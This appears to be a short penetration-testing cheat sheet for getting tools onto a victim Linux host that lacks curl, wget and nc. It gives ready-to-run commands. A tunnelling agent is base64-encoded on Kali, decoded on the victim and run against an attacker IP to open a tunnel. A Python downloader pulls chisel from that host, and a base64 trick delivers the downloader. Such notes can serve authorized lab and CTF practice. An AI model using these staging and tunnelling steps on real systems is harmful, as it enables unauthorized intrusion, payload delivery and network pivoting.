File Transfer via base64 (No curl/wget/nc)

Everywhere Tunnels File Transfer linux

When the victim has no curl/wget/nc and bash piping would corrupt binary integrity.

Encode on Kali

tar -caf agent.tar.xz agent
base64 agent.tar.xz > agent.tar.xz.b64
xclip -sel clip agent.tar.xz.b64

Decode on victim

echo "ENTIRE_BASE64_PAYLOAD" | base64 -d > agent.tar.xz
tar -xaf agent.tar.xz
chmod 777 agent
./agent -connect 10.6.18.45:11601 -ignore-cert

Pure-Python downloader (alternative)

If Python is available but curl/wget are missing:

import urllib.request

url = 'http://10.6.18.45/chisel'
output_file = 'chisel'

try:
    with urllib.request.urlopen(url) as response, open(output_file, 'wb') as out_file:
        out_file.write(response.read())
    print(f"Downloaded {url} to {output_file}")
except Exception as e:
    print(f"Failed to download {url}: {e}")

Encode the script and reconstitute on the victim:

cat test.py | base64 > decoded.txt

echo "BASE64_OF_test_py" | base64 -d > test.py
python3 test.py